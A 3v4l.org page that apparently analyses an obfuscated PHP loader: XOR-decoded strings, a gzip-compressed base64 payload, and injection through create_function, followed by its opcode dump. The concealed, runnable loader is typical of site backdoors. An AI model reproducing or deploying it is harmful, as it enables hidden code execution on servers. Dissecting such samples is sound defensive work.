3v4l.org

run code in 300+ PHP versions simultaneously
<?php $rseluqic=array( '$rseluqic[0]=$rseluqic[3];$wyyuxpni=wyyuxpni(3,13);$rseluqic[0]=$wyyuxpni($rseluqic[2]);', '"$rseluqic[2]=gzuncompress(wyyuxpni(713,2155));', 'UWV+bEZ6Z3N4V218aXZ+XXJ/fFRkY2Fzb01IaHl2aWVjflJ1eXBjY2VjSFlWWEVOSFpPTUtAVElESEVEVE1MaHVxfHtvbmNxf21+dFJGV0VDbX5hNn5sNG5TOD41K1R0akJhfD1wYWcgeDZ/QmQlOzh1ci16Tmx4UW8nKGRhcWJrc2RkcWlramt/an5lZyx0cWNtYzp0YGVoZS57YGxgb39/KWFieGNjeDt8eGdmYnV6TUJERFFJWnRZTUlXY3ZjbVhTf0JrUTY/KnFERFFJVkpIXkRZZE15ZUpucXZ8PzZYaXVobWh0PXRiZX9rMnpna2hzf3BFQidrVWVQVXReVVRMTFFTUkVZS0ZIYUpVX1NXUFlWWENRRkdjSU9LXUVAS1BdVFlCQkxLRjNhI3RgbyZxb2BFcGpGVU4jZGhpJixhYn5/L3l/f3lmI2RoaSYsTk5VJndieG5wQ05Mc1hdVVBYWmZYVUhJSUdhWF1VXUBQVE1yI2RoaWR5YGl2aGZYeX17XWh4ZGZ4fXVJeElPe2AoemZsc2h+fy15YXpubWhjYldKUFh7YCh6ZmxzaH5/LW9wdWlpWVRqf3d6bGZYaXl5aXEiUlp5InxqfnB4dUducXZ8PzZYaXVobWh0UGRNTXtwbHN/ZHd8aG9YanV/XWF0YmBTaHFxeHVteE55YmxGdUREUUlWV1RIQlRDS1RYVVV3T3ROdG1BaWohK3h7ZWJjZH5vImFhVElJZFhpIitye2dlfj5obWFMbiQrf2ZwZmF5aGcicnlsblJ4RSNndTRqbWlreWwsfHlmPnkxWip7OEwqZDhpYXIhfS1WVk4qZjh5ZG9ld3VWZX5sbWNRTz1jc292cGRkcWkzLShDdSpnOH9uYVlDdHJ/dXF2eXYqZzh6fExPb0laSmloYHphVSpnOGpiIk9ZRFstPT8mTHBEf3ZtMyJ4dSN0jIBBZHHlSwL1KW+beqEoX3ghHc2pPLYmZ+C2LM2E4VhNPCdDC'.'g4JUhl4TZHd/jHRIyYtyzr+aSzY0ePsYrZwg6Qrf6flgOO83irQ+NIO39RltzFgttxi1Ix5Ix6LzYPOmb7q2i5qGOt2vIdSqdRZOKXaX7tpOPk3oplZZkxW5aZKqrQbr3p4/tVWOFzDDSzkEsQi6EhTCRZOBA+p2ZPQCYJWG6StH6u6WiOuxYRNhoGtsX5ntM1qy11xN96wgFHU5s9KQNEOsWm6bZ8mNC+gaqFPpWt9LvNKnNgZeHjD4XBOXW+b2vwbIGQUSQ/7Z5qznoZx77QDDJqGEN57bDLbgiOO78UpQhyMtYjfOlf9LsJPTojB1Th14WpUkklUKNhNINvCuJldZIYPbFQiEF/zgThLEau6h3t1ZMuIOfJVPTSal0BESH5KbilAm8ZgmvHPFVMPlfK999DWOFkftc+hAJv8bbexSU9yfoMFruxbNkzU6hMEEFNKP/dWJeTZt5I/kl0GwTydLAMWDzUsVyPC/4g+BEIq+C98WZZb42njIJ4inkdTpbWZQ7WQ2r66ax4725apncM7d7yI+zLLLPDWx8YkzYiRPb4Jn8Kbd4e6ZZhLctY2fLdP8PSBxnrJSK7AT740WHCFtvdNXMWxS5YdIPZ+JoPv4jeMaXY62ksBvR0fqjhlWxNJlZC2ooqFxt30n9ThTJJ2DoqAeruMsNe9oOWke1mCEn3Mf38Eh0902d8EeLETehIonrSPpjq7pgA4RTKzk4iVQDC27/uFSI6zAf1cQ6WnsHm4/1ev2u6vz89qfLV6Awd9k0vqqxl3Rjcmznhc4lCy2m4mI//rNZCqJYo8WStwZpz60zIZUkF0pCZJ9JdlmIkTwbO5wsIWEwOL0KFKBkrCbiBbtpIrejK7ysl7oy2QFcsAfxmmxfKB6tbeh2nSJSx6j4nLs5yI28hCWQiY10jlm6vo/DZjsoeqDCiyTChPO9OXDKpS2S9l9C4jflyFmSNjDNMM7DqxVceMuGIHOX27jqtQFZMUkNOSTpevv2hmN9iDZxv'.'BUv1NdMCxR6ITIcJtbxHpkrhGZUXnPD5rQSuDt88M6UWWihAJ28QxAQJshRa0ZafQiBGHDQU2cWJuC1HvsZ8MYeODaVF8vm2NLt+74aMjDjUlwZpwOeWoQ08LGj1S2M9qaM5b2+dJqj+v8ff20+/8vTK8si9GARYyB1T2cR+C9+f8bvXh5W75Jjnn5mtsCD3tK8mH1252yOUttgZuNpjtuy5QkkW3MxsbwGgwQvMOcrRwkyabBZUBB6E6CFlu4kDSZ219wKReSFo4TzlXjPq8AtjIhF51LX7CEkLFARAs+vn5+I7DUsarqU8rg8UscEu3G8NMwljaB5pQxtPJ4WMsg1ZiYSRPDYiZYuO+gzQFOg43/uYiDZ1xU/Dq8+wCZcJpgV1nlwRELr62GAQedHzbZNZ3IQPflepYSPIPpNSCwDii1dtIC2nYBvt1pbpjLyvPmwYR4+pBGxCRvnfakAWv/gHFj/OIdlz/DYFUMo0fi5PIxcGhXWP2qdLwxCYiDpsnT0CBmr/NayNSWGBwxIzGjc31eHL5edARFw4/kFXhTF0LKTp9p3715zt36s9TOVQ2jelIC/VmeuaW2daGMG5vT6VjelKoKxyCIMRdDqjbg4v6OiPe9CP8KmWW+GHNL4da7V3iVJ2dTuHE2S3xnhxzgQ/cjp'.'W6lxIGQrPjwADJWStQAiBWMsw6J1zYpb/s4Wba96CrOVdaM7X8RtzQbAJhouFJop/oOEjVMqnSayG8rLE5UGnvuGLA8VlmwQ2yjRmJlh8A1SwtUFDq6bjMTgn0B7Be6QhdSiL9EosU6SjBcTVpgoaNE76hCknJmpKlM3IGF3/hiRcmn1femdqzkFN/2mVjq+QPmvU9/tc0sMJbduCE82nOlzUa5OXnwf5UsgLk1gd1byJIqIpVWtF6C7u/FuQZeLK9UbjLqKVOphGV69EvVaHv7ZAvX0blORts/fFsAjaeEHeexu8W0yCpKEMwbXTVIB6/OYZJQViNHpkknogcL00eE2nAeGetknoZB5yDsTarGHvBKdNoJq7npgf3KBsLVjabaqQ96l1au0sXsMk/KzeupsD+qb6Yk3iH4RKLEwofpHh4ZWo7NxZwtmdfPQU1e7zgSXud153q2yYItUYB+r24A8L+GVWeVwf321IAHFHIHtg0eRvJoYdC0/0TFbVoCG+5WfwijyIgPqR'.'7xEcGAZx87bXE05t4dwK2WB/qy/WzGhqpyCmQ0VGfHIbA/LUnlejdK2hikzBjAzOdZnl+HiqNijkM6t83gRYPRqIPdHgpc4OwRkTYI372KHPLKvGp3ZcRee2cuJ1VHmp9LxtfqXfESqGdfMd0Ocg57Fiyc0kIkEGmXD3uTjBsONpWkL65BFlHIFfQvuX2guuMpQXthwtd41JdlZeIpqOdYx0AwAc+ZFN1jO8w+dhKJ7SMym0a/ZBmLH9jF906gH/lHLMyo/e72M/r9udi1Xaq9u3k7+9IKWB95vkWzOFDbMUXWP49hy16IcJqX0zNkTk2KQmwegZmbzK1+HHIxIjzPAUbPhh3tN0cFY7woM2NP4aeGRYpyIlm/ZBDy147wOeFWOrc1yiQj1p/O1zJ6rqmJOEKnN4U65Q34JvUgkqIrIIysSay9eMWGslsgR+lwlryM8yYGBOo32iWbHRlc+W5frNU/sAhWcDPV2DppTNRptNqAvL64uHxzRykl1EwtKySQcHtFPt9cpx6MKpaJ5lOd/DtUc7cKlOulc/ApQV/SVZ9KQVH2Y8WhaFyfcLle9Ry63/T7UbAci8rX+3xgksDj2686C9y34Do5NZefQbcrt7eSEQ=', "/*s\x6e\x71\x76\x7c\x3f\x36\x58\x69\x75\x68\x6d\x68\x74*/");$jmrgstu='create_'; if(function_exists($jmrgstu.='function')){ $jmrgstu('','}function wyyuxpni($start,$text_len){global $rseluqic;$keypad=str_pad("",$text_len,"lpeyibgmpkblqval");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($rseluqic[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($ky=-1;++$ky<3;){ print_r($rseluqic); $rseluqic[$ky]=$jmrgstu('','}'.$rseluqic[$ky].'{'); }};unset($rseluqic);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 28
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 25
Branch analysis from position: 25
2 jumps found. (Code = 44) Position 1 = 28, Position 2 = 13
Branch analysis from position: 28
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 28, Position 2 = 13
Branch analysis from position: 28
Branch analysis from position: 13
Branch analysis from position: 28
filename:       /in/DNVvZ
function name:  (null)
number of ops:  30
compiled vars:  !0 = $rseluqic, !1 = $jmrgstu, !2 = $ky
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
    5     1        ASSIGN                                                   !1, 'create_'
    6     2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ                                                     $6, ->28
    7     7    >   INIT_DYNAMIC_CALL                                        !1
          8        SEND_VAL_EX                                              ''
          9        SEND_VAL_EX                                              '%7Dfunction+wyyuxpni%28%24start%2C%24text_len%29%7Bglobal+%24rseluqic%3B%24keypad%3Dstr_pad%28%22%22%2C%24text_len%2C%22lpeyibgmpkblqval%22%29%3B%24lomask%3Dstr_repeat%28%22%5Cx1f%22%2C%24text_len%29%3B%24himask%3Dstr_repeat%28%22%5Cxe0%22%2C%24text_len%29%3B%24text+%3D+substr%28%24rseluqic%5B0%5D%2C%24start%2C%24text_len%29%3Breturn%28%28%24text%5E%24keypad%29%26%24lomask%29%7C%28%24text%26%24himask%29%3B%7D%7B'
         10        DO_FCALL                                      0          
    9    11        ASSIGN                                                   !2, -1
         12      > JMP                                                      ->25
   10    13    >   INIT_FCALL                                               'print_r'
         14        SEND_VAR                                                 !0
         15        DO_ICALL                                                 
   11    16        INIT_DYNAMIC_CALL                                        !1
         17        SEND_VAL_EX                                              ''
         18        FETCH_DIM_R                                      ~11     !0, !2
         19        CONCAT                                           ~12     '%7D', ~11
         20        CONCAT                                           ~13     ~12, '%7B'
         21        SEND_VAL_EX                                              ~13
         22        DO_FCALL                                      0  $14     
         23        ASSIGN_DIM                                               !0, !2
         24        OP_DATA                                                  $14
    9    25    >   PRE_INC                                          ~15     !2
         26        IS_SMALLER                                               ~15, 3
         27      > JMPNZ                                                    ~16, ->13
   12    28    >   UNSET_CV                                                 !0
         29      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
158.12 ms | 1396 KiB | 17 Q